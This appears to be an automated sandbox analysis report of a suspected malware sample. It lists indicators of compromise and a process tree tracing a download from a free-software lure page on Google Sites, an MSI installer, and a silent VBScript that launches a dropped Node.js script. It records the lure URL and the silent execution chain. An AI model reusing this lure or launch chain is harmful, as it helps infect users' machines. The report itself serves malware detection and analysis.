Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\0\0	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Applications\7zFM.exe	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell	OpenWith.exe

NTFS ADS 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\Downloads\Setup.zip:Zone.Identifier	firefox.exe
File created	C:\Users\Admin\Downloads\Extreme Injector.rar:Zone.Identifier	firefox.exe
File created	C:\Users\Admin\Downloads\Setup.rar:Zone.Identifier	firefox.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
4432	msiexec.exe
4432	msiexec.exe
3488	node.exe
3488	node.exe
4432	msiexec.exe
4432	msiexec.exe
2020	node.exe
2020	node.exe
6764	Installer.exe
6764	Installer.exe
6764	Installer.exe
6764	Installer.exe
1304	powershell.exe
1304	powershell.exe
6684	powershell.exe
6684	powershell.exe
6684	powershell.exe
1304	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 3 IoCs

pid	Process
3140	OpenWith.exe
4848	OpenWith.exe
6012	7zFM.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3868	firefox.exe
Token: SeDebugPrivilege	3868	firefox.exe
Token: SeDebugPrivilege	3868	firefox.exe
Token: SeDebugPrivilege	3868	firefox.exe
Token: SeDebugPrivilege	3868	firefox.exe
Token: SeDebugPrivilege	3868	firefox.exe
Token: SeDebugPrivilege	3868	firefox.exe
Token: SeDebugPrivilege	3868	firefox.exe
Token: SeRestorePrivilege	5264	7z.exe
Token: 35	5264	7z.exe
Token: SeRestorePrivilege	6012	7zFM.exe
Token: 35	6012	7zFM.exe
Token: SeDebugPrivilege	3868	firefox.exe
Token: SeSecurityPrivilege	6012	7zFM.exe
Token: SeRestorePrivilege	5768	7zFM.exe
Token: 35	5768	7zFM.exe
Token: SeSecurityPrivilege	5768	7zFM.exe
Token: SeShutdownPrivilege	5720	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5720	msiexec.exe
Token: SeSecurityPrivilege	4432	msiexec.exe
Token: SeCreateTokenPrivilege	5720	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5720	msiexec.exe
Token: SeLockMemoryPrivilege	5720	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5720	msiexec.exe
Token: SeMachineAccountPrivilege	5720	msiexec.exe
Token: SeTcbPrivilege	5720	msiexec.exe
Token: SeSecurityPrivilege	5720	msiexec.exe
Token: SeTakeOwnershipPrivilege	5720	msiexec.exe
Token: SeLoadDriverPrivilege	5720	msiexec.exe
Token: SeSystemProfilePrivilege	5720	msiexec.exe
Token: SeSystemtimePrivilege	5720	msiexec.exe
Token: SeProfSingleProcessPrivilege	5720	msiexec.exe
Token: SeIncBasePriorityPrivilege	5720	msiexec.exe
Token: SeCreatePagefilePrivilege	5720	msiexec.exe
Token: SeCreatePermanentPrivilege	5720	msiexec.exe
Token: SeBackupPrivilege	5720	msiexec.exe
Token: SeRestorePrivilege	5720	msiexec.exe
Token: SeShutdownPrivilege	5720	msiexec.exe
Token: SeDebugPrivilege	5720	msiexec.exe
Token: SeAuditPrivilege	5720	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5720	msiexec.exe
Token: SeChangeNotifyPrivilege	5720	msiexec.exe
Token: SeRemoteShutdownPrivilege	5720	msiexec.exe
Token: SeUndockPrivilege	5720	msiexec.exe
Token: SeSyncAgentPrivilege	5720	msiexec.exe
Token: SeEnableDelegationPrivilege	5720	msiexec.exe
Token: SeManageVolumePrivilege	5720	msiexec.exe
Token: SeImpersonatePrivilege	5720	msiexec.exe
Token: SeCreateGlobalPrivilege	5720	msiexec.exe
Token: SeBackupPrivilege	5844	vssvc.exe
Token: SeRestorePrivilege	5844	vssvc.exe
Token: SeAuditPrivilege	5844	vssvc.exe
Token: SeBackupPrivilege	4432	msiexec.exe
Token: SeRestorePrivilege	4432	msiexec.exe
Token: SeRestorePrivilege	4432	msiexec.exe
Token: SeTakeOwnershipPrivilege	4432	msiexec.exe
Token: SeRestorePrivilege	4432	msiexec.exe
Token: SeTakeOwnershipPrivilege	4432	msiexec.exe
Token: SeBackupPrivilege	3488	srtasks.exe
Token: SeRestorePrivilege	3488	srtasks.exe
Token: SeSecurityPrivilege	3488	srtasks.exe
Token: SeTakeOwnershipPrivilege	3488	srtasks.exe
Token: SeBackupPrivilege	3488	srtasks.exe
Token: SeRestorePrivilege	3488	srtasks.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
6012	7zFM.exe
6012	7zFM.exe
6012	7zFM.exe
5768	7zFM.exe
5768	7zFM.exe
5720	msiexec.exe
5720	msiexec.exe
5268	msiexec.exe
5268	msiexec.exe
6764	Installer.exe

Suspicious use of SetWindowsHookEx 64 IoCs

pid	Process
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3868	firefox.exe
3140	OpenWith.exe
3140	OpenWith.exe
3140	OpenWith.exe
3140	OpenWith.exe
3140	OpenWith.exe
3140	OpenWith.exe
3140	OpenWith.exe
3140	OpenWith.exe
3140	OpenWith.exe
3140	OpenWith.exe
3140	OpenWith.exe
3140	OpenWith.exe
3140	OpenWith.exe
3140	OpenWith.exe
3140	OpenWith.exe
3140	OpenWith.exe
3140	OpenWith.exe
3140	OpenWith.exe
3140	OpenWith.exe
3140	OpenWith.exe
3140	OpenWith.exe
3140	OpenWith.exe
3140	OpenWith.exe
3140	OpenWith.exe
3140	OpenWith.exe
3140	OpenWith.exe
4848	OpenWith.exe
4848	OpenWith.exe
4848	OpenWith.exe
4848	OpenWith.exe
4848	OpenWith.exe
4848	OpenWith.exe
4848	OpenWith.exe
4848	OpenWith.exe
4848	OpenWith.exe
4848	OpenWith.exe
4848	OpenWith.exe
4848	OpenWith.exe
4848	OpenWith.exe
4848	OpenWith.exe
4848	OpenWith.exe
4848	OpenWith.exe
4848	OpenWith.exe
4848	OpenWith.exe
4848	OpenWith.exe
4848	OpenWith.exe
4848	OpenWith.exe
4848	OpenWith.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 832 wrote to memory of 3868	832	firefox.exe	87
PID 832 wrote to memory of 3868	832	firefox.exe	87
PID 3868 wrote to memory of 964	3868	firefox.exe	88
PID 3868 wrote to memory of 964	3868	firefox.exe	88
PID 3868 wrote to memory of 964	3868	firefox.exe	88
PID 3868 wrote to memory of 1020	3868	firefox.exe	89
PID 3868 wrote to memory of 1020	3868	firefox.exe	89
PID 3868 wrote to memory of 1020	3868	firefox.exe	89
PID 3868 wrote to memory of 1020	3868	firefox.exe	89
PID 3868 wrote to memory of 3920	3868	firefox.exe	90
PID 3868 wrote to memory of 3920	3868	firefox.exe	90
PID 3868 wrote to memory of 3920	3868	firefox.exe	90
PID 3868 wrote to memory of 3920	3868	firefox.exe	90
PID 3868 wrote to memory of 1204	3868	firefox.exe	91
PID 3868 wrote to memory of 1204	3868	firefox.exe	91
PID 3868 wrote to memory of 1204	3868	firefox.exe	91
PID 3868 wrote to memory of 1820	3868	firefox.exe	93
PID 3868 wrote to memory of 1820	3868	firefox.exe	93
PID 3868 wrote to memory of 1820	3868	firefox.exe	93
PID 3868 wrote to memory of 1820	3868	firefox.exe	93
PID 3868 wrote to memory of 5408	3868	firefox.exe	94
PID 3868 wrote to memory of 5408	3868	firefox.exe	94
PID 3868 wrote to memory of 5408	3868	firefox.exe	94
PID 3868 wrote to memory of 5408	3868	firefox.exe	94
PID 3868 wrote to memory of 5500	3868	firefox.exe	95
PID 3868 wrote to memory of 5500	3868	firefox.exe	95
PID 3868 wrote to memory of 5500	3868	firefox.exe	95
PID 3868 wrote to memory of 5500	3868	firefox.exe	95
PID 3868 wrote to memory of 5508	3868	firefox.exe	96
PID 3868 wrote to memory of 5508	3868	firefox.exe	96
PID 3868 wrote to memory of 5508	3868	firefox.exe	96
PID 3868 wrote to memory of 5508	3868	firefox.exe	96
PID 3868 wrote to memory of 5528	3868	firefox.exe	97
PID 3868 wrote to memory of 5528	3868	firefox.exe	97
PID 3868 wrote to memory of 5528	3868	firefox.exe	97
PID 3868 wrote to memory of 5528	3868	firefox.exe	97
PID 3868 wrote to memory of 2508	3868	firefox.exe	106
PID 3868 wrote to memory of 2508	3868	firefox.exe	106
PID 3868 wrote to memory of 2508	3868	firefox.exe	106
PID 3868 wrote to memory of 2508	3868	firefox.exe	106
PID 3868 wrote to memory of 5372	3868	firefox.exe	107
PID 3868 wrote to memory of 5372	3868	firefox.exe	107
PID 3868 wrote to memory of 5372	3868	firefox.exe	107
PID 3868 wrote to memory of 5372	3868	firefox.exe	107
PID 3868 wrote to memory of 5972	3868	firefox.exe	108
PID 3868 wrote to memory of 5972	3868	firefox.exe	108
PID 3868 wrote to memory of 5972	3868	firefox.exe	108
PID 3868 wrote to memory of 5972	3868	firefox.exe	108
PID 3868 wrote to memory of 4976	3868	firefox.exe	109
PID 3868 wrote to memory of 4976	3868	firefox.exe	109
PID 3868 wrote to memory of 4976	3868	firefox.exe	109
PID 3868 wrote to memory of 4976	3868	firefox.exe	109
PID 3868 wrote to memory of 2484	3868	firefox.exe	110
PID 3868 wrote to memory of 2484	3868	firefox.exe	110
PID 3868 wrote to memory of 2484	3868	firefox.exe	110
PID 3868 wrote to memory of 2484	3868	firefox.exe	110
PID 3868 wrote to memory of 5096	3868	firefox.exe	116
PID 3868 wrote to memory of 5096	3868	firefox.exe	116
PID 3868 wrote to memory of 5096	3868	firefox.exe	116
PID 3868 wrote to memory of 5096	3868	firefox.exe	116
PID 3868 wrote to memory of 4048	3868	firefox.exe	117
PID 3868 wrote to memory of 4048	3868	firefox.exe	117
PID 3868 wrote to memory of 4048	3868	firefox.exe	117
PID 3868 wrote to memory of 4048	3868	firefox.exe	117

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "https://sites.google.com/view/softfreedownload"
1⤵
- Suspicious use of WriteProcessMemory
PID:832
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url https://sites.google.com/view/softfreedownload
  2⤵
  - Drops desktop.ini file(s)
  - Checks processor information in registry
  - NTFS ADS
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3868
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2000 -prefsLen 27099 -prefMapHandle 2004 -prefMapSize 270279 -ipcHandle 2084 -initialChannelId {d3978c59-8ece-4e65-be70-9ff60132e29f} -parentPid 3868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3868" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
    3⤵
    PID:964
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2484 -prefsLen 27135 -prefMapHandle 2488 -prefMapSize 270279 -ipcHandle 2496 -initialChannelId {11db0faf-179b-4d36-9280-e1f633006424} -parentPid 3868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3868" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
    3⤵
    PID:1020
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3608 -prefsLen 25164 -prefMapHandle 3612 -prefMapSize 270279 -jsInitHandle 3616 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3624 -initialChannelId {ac8845f7-117b-4c19-92a1-6ade3ad68d6d} -parentPid 3868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3868" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
    3⤵
    - Checks processor information in registry
    PID:3920
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3780 -prefsLen 27276 -prefMapHandle 3784 -prefMapSize 270279 -ipcHandle 3900 -initialChannelId {db56fa3a-9f8b-472c-a0c1-5102a18d1131} -parentPid 3868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3868" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
    3⤵
    PID:1204
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4284 -prefsLen 34775 -prefMapHandle 4288 -prefMapSize 270279 -jsInitHandle 4292 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4236 -initialChannelId {aebb44d0-48fe-40f4-9d44-f550de33ca31} -parentPid 3868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3868" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
    3⤵
    - Checks processor information in registry
    PID:1820
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5096 -prefsLen 35012 -prefMapHandle 5100 -prefMapSize 270279 -ipcHandle 5072 -initialChannelId {4d284ab7-ea81-41cd-895a-e2b537e3ef2f} -parentPid 3868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3868" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
    3⤵
    - Checks processor information in registry
    PID:5408
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5284 -prefsLen 32952 -prefMapHandle 5288 -prefMapSize 270279 -jsInitHandle 5292 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5304 -initialChannelId {b734f639-7b5a-4524-bcb3-eb537bbe5f40} -parentPid 3868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3868" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
    3⤵
    - Checks processor information in registry
    PID:5500
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5316 -prefsLen 32952 -prefMapHandle 5320 -prefMapSize 270279 -jsInitHandle 5324 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5332 -initialChannelId {705e2621-01ed-48a8-b2f8-8bc45df4c7bf} -parentPid 3868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3868" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
    3⤵
    - Checks processor information in registry
    PID:5508
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5668 -prefsLen 32952 -prefMapHandle 5672 -prefMapSize 270279 -jsInitHandle 5676 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5684 -initialChannelId {56c0e99f-0aab-407f-9350-91829157ed6f} -parentPid 3868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3868" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
    3⤵
    - Checks processor information in registry
    PID:5528
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2824 -prefsLen 32952 -prefMapHandle 4480 -prefMapSize 270279 -jsInitHandle 5996 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6208 -initialChannelId {316b9589-093f-4d09-a4b6-d2a5a8fe6ebf} -parentPid 3868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3868" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab
    3⤵
    - Checks processor information in registry
    PID:2508
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6380 -prefsLen 32952 -prefMapHandle 6384 -prefMapSize 270279 -jsInitHandle 6388 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6292 -initialChannelId {9652558a-a8c1-49ca-9492-c6462eb41ed0} -parentPid 3868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3868" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
    3⤵
    - Checks processor information in registry
    PID:5372
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5496 -prefsLen 32952 -prefMapHandle 5480 -prefMapSize 270279 -jsInitHandle 5484 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5472 -initialChannelId {318cafdf-3216-4cf0-9776-f241f1899fa7} -parentPid 3868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3868" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
    3⤵
    - Checks processor information in registry
    PID:5972
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5644 -prefsLen 32952 -prefMapHandle 5704 -prefMapSize 270279 -jsInitHandle 5680 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6708 -initialChannelId {ee1ae13f-4333-4108-9d75-073d7b3e4206} -parentPid 3868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3868" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 tab
    3⤵
    - Checks processor information in registry
    PID:4976
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6884 -prefsLen 32952 -prefMapHandle 6888 -prefMapSize 270279 -jsInitHandle 6892 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6900 -initialChannelId {70f94e63-73b9-45a0-adbf-2cffc591a444} -parentPid 3868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3868" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 14 tab
    3⤵
    - Checks processor information in registry
    PID:2484
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4888 -prefsLen 36785 -prefMapHandle 5732 -prefMapSize 270279 -jsInitHandle 5740 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4920 -initialChannelId {535017d6-2d39-499b-aabe-506e59f6a3b8} -parentPid 3868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3868" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 15 tab
    3⤵
    - Checks processor information in registry
    PID:5096
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6808 -prefsLen 36785 -prefMapHandle 6744 -prefMapSize 270279 -jsInitHandle 6740 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6852 -initialChannelId {ccdc5232-fe30-4553-adc9-9d22e4741848} -parentPid 3868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3868" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 16 tab
    3⤵
    - Checks processor information in registry
    PID:4048
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5976 -prefsLen 36785 -prefMapHandle 6768 -prefMapSize 270279 -jsInitHandle 6764 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6716 -initialChannelId {4ae9032c-e74b-4550-b0b6-d9b3d7d9742c} -parentPid 3868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3868" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 17 tab
    3⤵
    - Checks processor information in registry
    PID:5472
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 7536 -prefsLen 36785 -prefMapHandle 7540 -prefMapSize 270279 -jsInitHandle 7544 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 7552 -initialChannelId {743d0990-3237-42b6-b782-35890c6f4fa3} -parentPid 3868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3868" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 18 tab
    3⤵
    - Checks processor information in registry
    PID:5956
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 7680 -prefsLen 36785 -prefMapHandle 7672 -prefMapSize 270279 -jsInitHandle 7668 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 7468 -initialChannelId {c9b396d8-fb1b-40fd-a821-6ddd7a6320ef} -parentPid 3868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3868" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 19 tab
    3⤵
    - Checks processor information in registry
    PID:3428
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 7796 -prefsLen 36785 -prefMapHandle 6812 -prefMapSize 270279 -jsInitHandle 7300 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 7536 -initialChannelId {2328f413-b532-4315-8152-61af1c825ece} -parentPid 3868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3868" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 20 tab
    3⤵
    - Checks processor information in registry
    PID:1840
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4216 -prefsLen 36785 -prefMapHandle 7944 -prefMapSize 270279 -jsInitHandle 1536 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 7800 -initialChannelId {c3bb6244-16f6-4ba1-8b92-c8dee1c62958} -parentPid 3868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3868" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 21 tab
    3⤵
    - Checks processor information in registry
    PID:3684
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 8200 -prefsLen 36785 -prefMapHandle 8252 -prefMapSize 270279 -jsInitHandle 8196 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 8152 -initialChannelId {27e0a758-c1ce-45a0-9aec-01b90fb69334} -parentPid 3868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3868" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 22 tab
    3⤵
    - Checks processor information in registry
    PID:5792
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6740 -prefsLen 36785 -prefMapHandle 6852 -prefMapSize 270279 -jsInitHandle 6756 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6816 -initialChannelId {ea215767-3f9d-4003-8729-29871e79ff96} -parentPid 3868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3868" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 23 tab
    3⤵
    - Checks processor information in registry
    PID:3396
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 8564 -prefsLen 36785 -prefMapHandle 8572 -prefMapSize 270279 -jsInitHandle 7688 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 8416 -initialChannelId {2b98eb09-48dd-4692-8a15-8acc43270613} -parentPid 3868 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3868" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 24 tab
    3⤵
    - Checks processor information in registry
    PID:6084

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1528

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:3140
- C:\Program Files\7-Zip\7z.exe
  "C:\Program Files\7-Zip\7z.exe" "C:\Users\Admin\Downloads\Extreme Injector.rar"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5264

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:4848
- C:\Program Files\7-Zip\7zFM.exe
  "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\Extreme Injector.rar"
  2⤵
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:6012

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\Setup.rar"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5768

C:\Windows\System32\msiexec.exe
"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\Desktop\setup\launcher.msi"
1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5720

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4432
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3488
- C:\Windows\system32\wscript.exe
  wscript.exe //B //nologo silent.vbs
  2⤵
  - Checks computer location settings
  - Executes a VBScript file via the Windows Script Host.
  PID:6012
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\nodejs\launch.cmd"
    3⤵
    - Executes a command shell one-liner
    PID:3744
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /C "C:\Users\Admin\AppData\Local\nodejs\run.cmd"
      4⤵
      Executes a command shell one-liner
      PID:5508
    - - C:\Users\Admin\AppData\Local\nodejs\node.exe
        
        "C:\Users\Admin\AppData\Local\nodejs\node.exe" "C:\Users\Admin\AppData\Local\nodejs\main.js"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:3488
- C:\Windows\system32\wscript.exe
  wscript.exe //B //nologo silent.vbs
  2⤵
  - Checks computer location settings
  - Executes a VBScript file via the Windows Script Host.
  PID:4028
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\nodejs\launch.cmd"
    3⤵
    - Executes a command shell one-liner
    PID:4512
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /C "C:\Users\Admin\AppData\Local\nodejs\run.cmd"
      4⤵
      Executes a command shell one-liner
      PID:4424
    - - C:\Users\Admin\AppData\Local\nodejs\node.exe
        
        "C:\Users\Admin\AppData\Local\nodejs\node.exe" "C:\Users\Admin\AppData\Local\nodejs\main.js"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        
        PID:2020

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
